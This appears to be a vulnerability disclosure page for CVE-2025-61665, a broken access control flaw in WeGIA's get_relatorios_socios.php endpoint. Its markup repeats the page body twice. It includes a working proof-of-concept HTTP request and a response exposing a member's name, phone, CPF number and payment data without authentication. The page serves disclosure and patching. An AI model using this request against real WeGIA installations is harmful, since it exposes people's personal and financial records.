CVE-2025-61665

CVE-2025-61665https://www.cvehunters.com/p/cve-2025-61665/Broken Access ControlCVE-2025-61665https://www.cvehunters.com/p/cve-2025-61665/https://www.cvehunters.com/p/cve-2025-61665/<h2 id="cve-2025-61665-broken-access-control-in-get_relatorios_sociosphp-endpoint">CVE-2025-61665: Broken Access Control in <code>get_relatorios_socios.php</code> Endpoint </h2><blockquote> CVE Publication: <a class="link" href="https://www.cve.org/CVERecord?id=CVE-2025-61665" target="_blank" rel="noopener" >https://www.cve.org/CVERecord?id=CVE-2025-61665</a> </blockquote> <h2 id="summary">Summary </h2>A Broken Access Control vulnerability was identified in the <code>get_relatorios_socios.php</code> endpoint of the WeGIA application. This vulnerability allows unauthenticated attackers to directly access sensitive personal and financial information of members without requiring authentication or authorization. <h2 id="details">Details </h2>Vulnerable Endpoint: <code>get_relatorios_socios.php</code> Parameters: <code>tipo_socio</code>, <code>tipo_pessoa</code>, <code>operador</code>, <code>valor</code>, <code>tag</code>, <code>status</code> <h2 id="poc">PoC </h2><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">GET /WeGIA/html/socio/sistema/get_relatorios_socios.php?tipo_socio=x&amp;tipo_pessoa=x&amp;operador=maior_q&amp;valor=&amp;tag=x&amp;status=x HTTP/1.1 Host: sec.wegia.org:8000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br, zstd X-Requested-With: XMLHttpRequest Connection: keep-alive Referer: https://sec.wegia.org:8000/WeGIA/html/socio/sistema/relatorios_socios.php Cookie: _ga_F8DXBXLV8J=GS2.1.s1756605228$o47$g1$t1756611307$j47$l0$h0; _ga=GA1.1.424189364.1749063834 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0 </code></pre></td></tr></table> </div> </div><h3 id="response-snippet">Response (snippet): </h3><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">HTTP/1.1 200 OK Date: Sun, 31 Aug 2025 20:00:43 GMT Server: Apache/2.4.62 (Debian) Vary: Accept-Encoding Content-Length: 204 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 [{ &#34;nome&#34;: &#34;Luis Barango&#34;, &#34;telefone&#34;: &#34;(71)98642-1278&#34;, &#34;cpf&#34;: &#34;649.659.320-56&#34;, &#34;valor_periodo&#34;: &#34;5000.00&#34;, &#34;email&#34;: &#34;teste@teste.com&#34;, &#34;tipo&#34;: &#34;F\u00edsica - Mensal - Boleto&#34;, &#34;status&#34;: &#34;Ativo&#34;, &#34;tag&#34;: &#34;Solicitante&#34; }] </code></pre></td></tr></table> </div> </div><img src="/p/cve-2025-61665/image.png" width="1534" height="431" srcset="/p/cve-2025-61665/image_hu_14ad2691788bd7c6.png 480w, /p/cve-2025-61665/image_hu_16f20d6fda007cbd.png 1024w" loading="lazy" class="gallery-image" data-flex-grow="355" data-flex-basis="854px" ><h2 id="cve-2025-61665-broken-access-control-in-get_relatorios_sociosphp-endpoint">CVE-2025-61665: Broken Access Control in <code>get_relatorios_socios.php</code> Endpoint </h2><blockquote> CVE Publication: <a class="link" href="https://www.cve.org/CVERecord?id=CVE-2025-61665" target="_blank" rel="noopener" >https://www.cve.org/CVERecord?id=CVE-2025-61665</a> </blockquote> <h2 id="summary">Summary </h2>A Broken Access Control vulnerability was identified in the <code>get_relatorios_socios.php</code> endpoint of the WeGIA application. This vulnerability allows unauthenticated attackers to directly access sensitive personal and financial information of members without requiring authentication or authorization. <h2 id="details">Details </h2>Vulnerable Endpoint: <code>get_relatorios_socios.php</code> Parameters: <code>tipo_socio</code>, <code>tipo_pessoa</code>, <code>operador</code>, <code>valor</code>, <code>tag</code>, <code>status</code> <h2 id="poc">PoC </h2><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">GET /WeGIA/html/socio/sistema/get_relatorios_socios.php?tipo_socio=x&amp;tipo_pessoa=x&amp;operador=maior_q&amp;valor=&amp;tag=x&amp;status=x HTTP/1.1 Host: sec.wegia.org:8000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br, zstd X-Requested-With: XMLHttpRequest Connection: keep-alive Referer: https://sec.wegia.org:8000/WeGIA/html/socio/sistema/relatorios_socios.php Cookie: _ga_F8DXBXLV8J=GS2.1.s1756605228$o47$g1$t1756611307$j47$l0$h0; _ga=GA1.1.424189364.1749063834 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0 </code></pre></td></tr></table> </div> </div><h3 id="response-snippet">Response (snippet): </h3><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">HTTP/1.1 200 OK Date: Sun, 31 Aug 2025 20:00:43 GMT Server: Apache/2.4.62 (Debian) Vary: Accept-Encoding Content-Length: 204 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 [{ &#34;nome&#34;: &#34;Luis Barango&#34;, &#34;telefone&#34;: &#34;(71)98642-1278&#34;, &#34;cpf&#34;: &#34;649.659.320-56&#34;, &#34;valor_periodo&#34;: &#34;5000.00&#34;, &#34;email&#34;: &#34;teste@teste.com&#34;, &#34;tipo&#34;: &#34;F\u00edsica - Mensal - Boleto&#34;, &#34;status&#34;: &#34;Ativo&#34;, &#34;tag&#34;: &#34;Solicitante&#34; }] </code></pre></td></tr></table> </div> </div><img src="/p/cve-2025-61665/image.png" width="1534" height="431" srcset="/p/cve-2025-61665/image_hu_14ad2691788bd7c6.png 480w, /p/cve-2025-61665/image_hu_16f20d6fda007cbd.png 1024w" loading="lazy" class="gallery-image" data-flex-grow="355" data-flex-basis="854px" /> <h2 id="impact">Impact </h2>Broken Access Control vulnerabilities can have severe consequences, including: <ul> <li>Unauthorized access to restricted functionality;</li> <li>Escalation of privileges for low-level users;</li> <li>Exposure of sensitive data and potential system compromise;</li> <li>Loss of confidentiality and integrity of educational records;</li> <li>Reputational damage to the organization.</li> </ul> <h2 id="reference">Reference </h2><a class="link" href="https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-62wp-6qmh-6p5f" target="_blank" rel="noopener" >https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-62wp-6qmh-6p5f</a> <h2 id="finder">Finder </h2><a class="link" href="http://www.linkedin.com/in/marceloqueirozjr" target="_blank" rel="noopener" ><img src="/assets/contributors/50x50/marcelo50x50.png" loading="lazy" /></a> <a class="link" href="http://www.linkedin.com/in/marceloqueirozjr" target="_blank" rel="noopener" >Marcelo Queiroz</a> <blockquote> By: <a class="link" href="https://github.com/CVE-Hunters/cve-hunters" target="_blank" rel="noopener" >CVE-Hunters</a> </blockquote>Tue, 30 Sep 2025 00:00:00 +0000